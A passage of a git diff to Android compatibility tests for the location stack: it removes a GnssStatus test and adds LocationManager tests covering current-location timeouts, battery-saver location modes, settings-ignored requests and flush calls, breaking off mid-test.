- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-
-import android.location.GnssStatus;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class GnssStatusTest {
-
-    private static final float DELTA = 1e-3f;
-
-    @Test
-    public void testGetValues() {
-        GnssStatus gnssStatus = getTestGnssStatus();
-        verifyTestValues(gnssStatus);
-    }
-
-    @Test
-    public void testBuilder_ClearSatellites() {
-        GnssStatus.Builder builder = new GnssStatus.Builder();
-        builder.addSatellite(GnssStatus.CONSTELLATION_GPS,
-                /* svid= */ 13,
-                /* cn0DbHz= */ 25.5f,
-                /* elevation= */ 2.0f,
-                /* azimuth= */ 255.1f,
-                /* hasEphemeris= */ true,
-                /* hasAlmanac= */ false,
-                /* usedInFix= */ true,
-                /* hasCarrierFrequency= */ true,
-                /* carrierFrequency= */ 1575420000f,
-                /* hasBasebandCn0DbHz= */ true,
-                /* basebandCn0DbHz= */ 20.5f);
-        builder.clearSatellites();
-
-        GnssStatus status = builder.build();
-        assertEquals(0, status.getSatelliteCount());
-    }
-
-    private static GnssStatus getTestGnssStatus() {
-        GnssStatus.Builder builder = new GnssStatus.Builder();
-        builder.addSatellite(GnssStatus.CONSTELLATION_GPS,
-                /* svid= */ 13,
-                /* cn0DbHz= */ 25.5f,
-                /* elevation= */ 2.0f,
-                /* azimuth= */ 255.1f,
-                /* hasEphemeris= */ true,
-                /* hasAlmanac= */ false,
-                /* usedInFix= */ true,
-                /* hasCarrierFrequency= */ true,
-                /* carrierFrequency= */ 1575420000f,
-                /* hasBasebandCn0DbHz= */ true,
-                /* basebandCn0DbHz= */ 20.5f);
-
-        builder.addSatellite(GnssStatus.CONSTELLATION_GLONASS,
-                /* svid= */ 9,
-                /* cn0DbHz= */ 31.0f,
-                /* elevation= */ 1.0f,
-                /* azimuth= */ 193.8f,
-                /* hasEphemeris= */ false,
-                /* hasAlmanac= */ true,
-                /* usedInFix= */ false,
-                /* hasCarrierFrequency= */ false,
-                /* carrierFrequency= */ Float.NaN,
-                /* hasBasebandCn0DbHz= */ true,
-                /* basebandCn0DbHz= */ 26.9f);
-
-        return builder.build();
-    }
-
-    private static void verifyTestValues(GnssStatus gnssStatus) {
-        assertEquals(2, gnssStatus.getSatelliteCount());
-        assertEquals(GnssStatus.CONSTELLATION_GPS, gnssStatus.getConstellationType(0));
-        assertEquals(GnssStatus.CONSTELLATION_GLONASS, gnssStatus.getConstellationType(1));
-
-        assertEquals(13, gnssStatus.getSvid(0));
-        assertEquals(9, gnssStatus.getSvid(1));
-
-        assertEquals(25.5f, gnssStatus.getCn0DbHz(0), DELTA);
-        assertEquals(31.0f, gnssStatus.getCn0DbHz(1), DELTA);
-
-        assertEquals(2.0f, gnssStatus.getElevationDegrees(0), DELTA);
-        assertEquals(1.0f, gnssStatus.getElevationDegrees(1), DELTA);
-
-        assertEquals(255.1f, gnssStatus.getAzimuthDegrees(0), DELTA);
-        assertEquals(193.8f, gnssStatus.getAzimuthDegrees(1), DELTA);
-
-        assertEquals(true, gnssStatus.hasEphemerisData(0));
-        assertEquals(false, gnssStatus.hasEphemerisData(1));
-
-        assertEquals(false, gnssStatus.hasAlmanacData(0));
-        assertEquals(true, gnssStatus.hasAlmanacData(1));
-
-        assertEquals(true, gnssStatus.usedInFix(0));
-        assertEquals(false, gnssStatus.usedInFix(1));
-
-        assertEquals(true, gnssStatus.hasCarrierFrequencyHz(0));
-        assertEquals(false, gnssStatus.hasCarrierFrequencyHz(1));
-
-        assertEquals(1575420000f, gnssStatus.getCarrierFrequencyHz(0), DELTA);
-
-        assertEquals(true, gnssStatus.hasBasebandCn0DbHz(0));
-        assertEquals(true, gnssStatus.hasBasebandCn0DbHz(1));
-
-        assertEquals(20.5f, gnssStatus.getBasebandCn0DbHz(0), DELTA);
-        assertEquals(26.9f, gnssStatus.getBasebandCn0DbHz(1), DELTA);
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index e6e69df..b08d388 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -16,6 +16,7 @@
 
 package android.location.cts.fine;
 
+import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
 import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED;
 import static android.location.LocationManager.EXTRA_PROVIDER_NAME;
 import static android.location.LocationManager.FUSED_PROVIDER;
@@ -23,25 +24,34 @@
 import static android.location.LocationManager.NETWORK_PROVIDER;
 import static android.location.LocationManager.PASSIVE_PROVIDER;
 import static android.location.LocationManager.PROVIDERS_CHANGED_ACTION;
+import static android.location.LocationRequest.PASSIVE_INTERVAL;
+import static android.os.PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF;
+import static android.os.PowerManager.LOCATION_MODE_GPS_DISABLED_WHEN_SCREEN_OFF;
+import static android.os.PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF;
+import static android.provider.Settings.Global.LOCATION_IGNORE_SETTINGS_PACKAGE_WHITELIST;
 
 import static androidx.test.ext.truth.content.IntentSubject.assertThat;
 import static androidx.test.ext.truth.location.LocationSubject.assertThat;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static com.android.compatibility.common.util.LocationUtils.createLocation;
+import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_GLOBAL;
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import android.Manifest;
+import android.annotation.NonNull;
+import android.app.AppOpsManager;
 import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
+import android.app.UiAutomation;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
 import android.location.Criteria;
-import android.location.GnssAntennaInfo;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssStatus;
@@ -55,33 +65,43 @@
 import android.location.cts.common.GetCurrentLocationCapture;
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
-import android.location.cts.common.ProximityPendingIntentCapture;
-import android.os.Build.VERSION;
-import android.os.Build.VERSION_CODES;
+import android.location.cts.common.ProviderRequestChangedListenerCapture;
+import android.location.cts.common.gnss.GnssAntennaInfoCapture;
+import android.location.cts.common.gnss.GnssMeasurementsCapture;
+import android.location.cts.common.gnss.GnssNavigationMessageCapture;
+import android.location.provider.ProviderProperties;
 import android.os.HandlerThread;
 import android.os.Looper;
-import android.os.UserManager;
+import android.os.PowerManager;
+import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings.Secure;
+import android.provider.DeviceConfig;
+import android.util.ArraySet;
 import android.util.Log;
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.LocationUtils;
+import com.android.compatibility.common.util.ScreenUtils;
+import com.android.compatibility.common.util.ScreenUtils.ScreenResetter;
+import com.android.compatibility.common.util.SettingsUtils.SettingResetter;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
+import java.util.Objects;
 import java.util.Random;
-import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
 
 @RunWith(AndroidJUnit4.class)
 public class LocationManagerFineTest {
@@ -93,13 +113,19 @@
 
     private static final String TEST_PROVIDER = "test_provider";
 
+    private static final String VALID_LOCATION_ATTRIBUTION_TAG = "valid_location_attribution_tag";
+    private static final String ANOTHER_VALID_LOCATION_ATTRIBUTION_TAG =
+            "another_valid_location_attribution_tag";
+    private static final String INVALID_LOCATION_ATTRIBUTION_TAG =
+            "invalid_location_attribution_tag";
+
     private Random mRandom;
     private Context mContext;
     private LocationManager mManager;
 
     @Before
     public void setUp() throws Exception {
-        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+        LocationUtils.registerMockLocationProvider(getInstrumentation(),
                 true);
 
         long seed = System.currentTimeMillis();
@@ -107,9 +133,7 @@
 
         mRandom = new Random(seed);
         mContext = ApplicationProvider.getApplicationContext();
-        mManager = mContext.getSystemService(LocationManager.class);
-
-        assertThat(mManager).isNotNull();
+        mManager = Objects.requireNonNull(mContext.getSystemService(LocationManager.class));
 
         for (String provider : mManager.getAllProviders()) {
             mManager.removeTestProvider(provider);
@@ -130,11 +154,14 @@
 
     @After
     public void tearDown() throws Exception {
-        for (String provider : mManager.getAllProviders()) {
-            mManager.removeTestProvider(provider);
+        if (mManager != null) {
+            for (String provider : mManager.getAllProviders()) {
+                mManager.removeTestProvider(provider);
+            }
+            mManager.removeTestProvider(FUSED_PROVIDER);
         }
 
-        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+        LocationUtils.registerMockLocationProvider(getInstrumentation(),
                 false);
     }
 
@@ -144,14 +171,6 @@
     }
 
     @Test
-    public void testValidLocationMode() {
-        int locationMode = Secure.getInt(mContext.getContentResolver(), Secure.LOCATION_MODE,
-                Secure.LOCATION_MODE_OFF);
-        assertThat(locationMode).isNotEqualTo(Secure.LOCATION_MODE_SENSORS_ONLY);
-        assertThat(locationMode).isNotEqualTo(Secure.LOCATION_MODE_BATTERY_SAVING);
-    }
-
-    @Test
     public void testIsProviderEnabled() {
         assertThat(mManager.isProviderEnabled(TEST_PROVIDER)).isTrue();
 
@@ -161,6 +180,10 @@
         mManager.setTestProviderEnabled(TEST_PROVIDER, true);
         assertThat(mManager.isProviderEnabled(TEST_PROVIDER)).isTrue();
 
+        for (String provider : mManager.getAllProviders()) {
+            mManager.isProviderEnabled(provider);
+        }
+
         try {
             mManager.isProviderEnabled(null);
             fail("Should throw IllegalArgumentException if provider is null!");
@@ -221,6 +244,41 @@
     }
 
     @Test
+    public void testGetCurrentLocation_Timeout() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(0).setDurationMillis(500).build(),
+                    capture.getCancellationSignal(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
+            assertThat(capture.getLocation(1000)).isNull();
+        }
+
+        try {
+            mManager.getCurrentLocation((String) null, null, Executors.newSingleThreadExecutor(),
+                    (location) -> {});
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testGetCurrentLocation_FreshOldLocation() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+                    Executors.newSingleThreadExecutor(), capture);
+            assertThat(capture.getLocation(TIMEOUT_MS)).isEqualTo(loc);
+        }
+    }
+
+    @Test
     public void testGetCurrentLocation_DirectExecutor() throws Exception {
         Location loc = createLocation(TEST_PROVIDER, mRandom);
 
@@ -291,7 +349,7 @@
         }
 
         try {
-            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, (LocationListener) null);
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, null, Looper.getMainLooper());
             fail("Should throw IllegalArgumentException if listener is null!");
         } catch (IllegalArgumentException e) {
             // expected
@@ -305,7 +363,7 @@
         }
 
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(null, 0, 0, capture);
+            mManager.requestLocationUpdates(null, 0, 0, capture, Looper.getMainLooper());
             fail("Should throw IllegalArgumentException if provider is null!");
         } catch (IllegalArgumentException e) {
             // expected
@@ -320,6 +378,23 @@
     }
 
     @Test
+    public void testRequestLocationUpdates_Passive() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(PASSIVE_INTERVAL)
+                            .setMinUpdateIntervalMillis(0)
+                            .build(),
+                    Runnable::run,
+                    capture);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        }
+    }
+
+    @Test
     public void testRequestLocationUpdates_PendingIntent() throws Exception {
         Location loc1 = createLocation(TEST_PROVIDER, mRandom);
         Location loc2 = createLocation(TEST_PROVIDER, mRandom);
@@ -353,6 +428,20 @@
             // expected
         }
 
+        PendingIntent immutablePI = PendingIntent.getBroadcast(mContext, 0,
+                new Intent("IMMUTABLE_TEST_ACTION")
+                        .setPackage(mContext.getPackageName())
+                        .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        try {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, immutablePI);
+            fail("Should throw IllegalArgumentException if pending intent is immutable!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        } finally {
+            immutablePI.cancel();
+        }
+
         try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
             mManager.requestLocationUpdates(null, 0, 0, capture.getPendingIntent());
             fail("Should throw IllegalArgumentException if provider is null!");
@@ -428,7 +517,7 @@
                 true,
                 Criteria.POWER_LOW,
                 Criteria.ACCURACY_FINE);
-        setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
 
         Criteria criteria = new Criteria();
         criteria.setAccuracy(Criteria.ACCURACY_FINE);
@@ -503,12 +592,12 @@
         Location loc1 = createLocation(TEST_PROVIDER, mRandom);
         Location loc2 = createLocation(TEST_PROVIDER, mRandom);
 
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 0, 0,
-                false);
-        request.setNumUpdates(1);
-
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(0).setMaxUpdates(1).build(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
 
             mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
             assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
@@ -518,15 +607,16 @@
     }
 
     @Test
-    public void testRequestLocationUpdates_MinTime() throws Exception {
+    public void testRequestLocationUpdates_MinUpdateInterval() throws Exception {
         Location loc1 = createLocation(TEST_PROVIDER, mRandom);
         Location loc2 = createLocation(TEST_PROVIDER, mRandom);
 
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 5000,
-                0, false);
-
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(5000).build(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
 
             mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
             assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
@@ -536,15 +626,16 @@
     }
 
     @Test
-    public void testRequestLocationUpdates_MinDistance() throws Exception {
+    public void testRequestLocationUpdates_MinUpdateDistance() throws Exception {
         Location loc1 = createLocation(TEST_PROVIDER, 0, 0, 10);
         Location loc2 = createLocation(TEST_PROVIDER, 0, 1, 10);
 
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 0,
-                200000, false);
-
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(0).setMinUpdateDistanceMeters(200000).build(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
 
             mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
             assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
@@ -554,9 +645,207 @@
     }
 
     @Test
+    public void testRequestLocationUpdates_BatterySaver_GpsDisabledScreenOff() throws Exception {
+        PowerManager powerManager = Objects.requireNonNull(
+                mContext.getSystemService(PowerManager.class));
+
+        mManager.addTestProvider(GPS_PROVIDER,
+                false,
+                true,
+                false,
+                false,
+                true,
+                true,
+                true,
+                Criteria.POWER_HIGH,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(GPS_PROVIDER, true);
+
+        LocationRequest request = new LocationRequest.Builder(0).build();
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext);
+             ScreenResetter ignored = new ScreenResetter();
+             DeviceConfigStateHelper batterySaverDeviceConfigStateHelper =
+                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER)) {
+            mManager.requestLocationUpdates(GPS_PROVIDER, request,
+                    Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(TEST_PROVIDER, request,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            batterySaverDeviceConfigStateHelper.set("location_mode", "1");
+            BatteryUtils.runDumpsysBatteryUnplug();
+            BatteryUtils.enableBatterySaver(true);
+            assertThat(powerManager.getLocationPowerSaveMode()).isEqualTo(
+                    LOCATION_MODE_GPS_DISABLED_WHEN_SCREEN_OFF);
+
+            // check screen off behavior
+            ScreenUtils.setScreenOn(false);
+            assertFalse(powerManager.isInteractive());
+            Location loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(GPS_PROVIDER, loc);
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+
+            // check screen on behavior
+            ScreenUtils.setScreenOn(true);
+            assertTrue(powerManager.isInteractive());
+            loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(GPS_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        } finally {
+            BatteryUtils.enableBatterySaver(false);
+            BatteryUtils.runDumpsysBatteryReset();
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_BatterySaver_AllDisabledScreenOff() throws Exception {
+        PowerManager powerManager = Objects.requireNonNull(
+                mContext.getSystemService(PowerManager.class));
+
+        LocationRequest request = new LocationRequest.Builder(0).build();
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext);
+             ScreenResetter ignored = new ScreenResetter();
+             DeviceConfigStateHelper batterySaverDeviceConfigStateHelper =
+                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, request,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            batterySaverDeviceConfigStateHelper.set("location_mode", "2");
+            BatteryUtils.runDumpsysBatteryUnplug();
+            BatteryUtils.enableBatterySaver(true);
+            assertThat(powerManager.getLocationPowerSaveMode()).isEqualTo(
+                    LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF);
+
+            // check screen off behavior
+            ScreenUtils.setScreenOn(false);
+            assertFalse(powerManager.isInteractive());
+            mManager.setTestProviderLocation(TEST_PROVIDER, createLocation(TEST_PROVIDER, mRandom));
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+
+            // check screen on behavior
+            ScreenUtils.setScreenOn(true);
+            assertTrue(powerManager.isInteractive());
+            Location loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        } finally {
+            BatteryUtils.enableBatterySaver(false);
+            BatteryUtils.runDumpsysBatteryReset();
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_BatterySaver_ThrottleScreenOff() throws Exception {
+        PowerManager powerManager = Objects.requireNonNull(
+                mContext.getSystemService(PowerManager.class));
+
+        LocationRequest request = new LocationRequest.Builder(0).build();
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext);
+             ScreenResetter ignored = new ScreenResetter();
+             DeviceConfigStateHelper batterySaverDeviceConfigStateHelper =
+                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, request,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            batterySaverDeviceConfigStateHelper.set("location_mode", "4");
+            BatteryUtils.runDumpsysBatteryUnplug();
+            BatteryUtils.enableBatterySaver(true);
+            assertThat(powerManager.getLocationPowerSaveMode()).isEqualTo(
+                    LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF);
+
+            // check screen off behavior
+            ScreenUtils.setScreenOn(false);
+            assertFalse(powerManager.isInteractive());
+            mManager.setTestProviderLocation(TEST_PROVIDER, createLocation(TEST_PROVIDER, mRandom));
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+
+            // check screen on behavior
+            ScreenUtils.setScreenOn(true);
+            assertTrue(powerManager.isInteractive());
+            Location loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        } finally {
+            BatteryUtils.enableBatterySaver(false);
+            BatteryUtils.runDumpsysBatteryReset();
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_LocationSettingsIgnored() throws Exception {
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext);
+             ScreenResetter ignored1 = new ScreenResetter();
+             SettingResetter ignored2 = new SettingResetter(NAMESPACE_GLOBAL,
+                     LOCATION_IGNORE_SETTINGS_PACKAGE_WHITELIST, mContext.getPackageName());
+             DeviceConfigStateHelper batterySaverDeviceConfigStateHelper =
+                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER)) {
+
+            getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(WRITE_SECURE_SETTINGS);
+            try {
+                mManager.requestLocationUpdates(
+                        TEST_PROVIDER,
+                        new LocationRequest.Builder(0)
+                                .setLocationSettingsIgnored(true)
+                                .build(),
+                        Executors.newSingleThreadExecutor(),
+                        capture);
+            } finally {
+                getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+            }
+
+            // turn off provider
+            mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+
+            // enable battery saver throttling
+            batterySaverDeviceConfigStateHelper.set("location_mode", "4");
+            BatteryUtils.runDumpsysBatteryUnplug();
+            BatteryUtils.enableBatterySaver(true);
+            ScreenUtils.setScreenOn(false);
+
+            // test that all restrictions are bypassed
+            Location loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isEqualTo(loc);
+            loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isEqualTo(loc);
+        } finally {
+            BatteryUtils.enableBatterySaver(false);
+            BatteryUtils.runDumpsysBatteryReset();
+        }
+    }
+
+    @Test
+    public void testAddProviderRequestListener() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+
+        try (ProviderRequestChangedListenerCapture requestlistener =
+                     new ProviderRequestChangedListenerCapture(mContext);
+             LocationListenerCapture locationListener = new LocationListenerCapture(mContext)) {
+            mManager.addProviderRequestChangedListener(Executors.newSingleThreadExecutor(),
+                    requestlistener);
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), locationListener);
+
+            assertThat(requestlistener.getNextProviderRequest(TIMEOUT_MS)).isNotNull();
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
     @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
     public void testRequestGpsUpdates_B9758659() throws Exception {
-        assumeTrue(hasGpsFeature());
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         // test for b/9758659, where the gps provider may reuse network provider positions creating
         // an unnatural feedback loop
@@ -574,15 +863,18 @@
                 true,
                 Criteria.POWER_LOW,
                 Criteria.ACCURACY_COARSE);
-        setTestProviderEnabled(NETWORK_PROVIDER, true);
+        mManager.setTestProviderEnabled(NETWORK_PROVIDER, true);
         mManager.setTestProviderLocation(NETWORK_PROVIDER, networkLocation);
 
         // reset gps provider to give it a cold start scenario
         mManager.sendExtraCommand(GPS_PROVIDER, "delete_aiding_data", null);
 
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(GPS_PROVIDER, 0, 0, false);
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    GPS_PROVIDER,
+                    new LocationRequest.Builder(0).build(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
 
             Location location = capture.getNextLocation(TIMEOUT_MS);
             if (location != null) {
@@ -592,6 +884,122 @@
     }
 
     @Test
+    public void testRequestFlush() throws Exception {
+        try (LocationListenerCapture capture1 = new LocationListenerCapture(mContext);
+             LocationListenerCapture capture2 = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture1);
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture2);
+
+            mManager.requestFlush(TEST_PROVIDER, capture1, 1);
+            mManager.requestFlush(TEST_PROVIDER, capture2, 1);
+            assertThat(capture1.getNextFlush(TIMEOUT_MS)).isEqualTo(1);
+            assertThat(capture2.getNextFlush(TIMEOUT_MS)).isEqualTo(1);
+            assertThat(capture1.getNextFlush(FAILURE_TIMEOUT_MS)).isNull();
+            assertThat(capture2.getNextFlush(FAILURE_TIMEOUT_MS)).isNull();
+        }
+
+        try {
+            mManager.requestFlush(TEST_PROVIDER, (LocationListener) null, 0);
+            fail("Should throw IllegalArgumentException if listener is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestFlush(TEST_PROVIDER, capture, 0);
+            fail("Should throw IllegalArgumentException if listener is not registered!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestFlush(GPS_PROVIDER, capture, 0);
+            fail("Should throw IllegalArgumentException if listener is not registered!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestFlush(null, capture, 0);
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestFlush_PendingIntent() throws Exception {
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+
+            mManager.requestFlush(TEST_PROVIDER, capture.getPendingIntent(), 1);
+            assertThat(capture.getNextFlush(TIMEOUT_MS)).isEqualTo(1);
+        }
+
+        try {
+            mManager.requestFlush(TEST_PROVIDER, (PendingIntent) null, 0);
+            fail("Should throw IllegalArgumentException if pending intent is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestFlush(TEST_PROVIDER, capture.getPendingIntent(), 0);
+            fail("Should throw IllegalArgumentException if pending intent is not registered!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+            mManager.requestFlush(GPS_PROVIDER, capture.getPendingIntent(), 0);
+            fail("Should throw IllegalArgumentException if pending intent is not registered!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
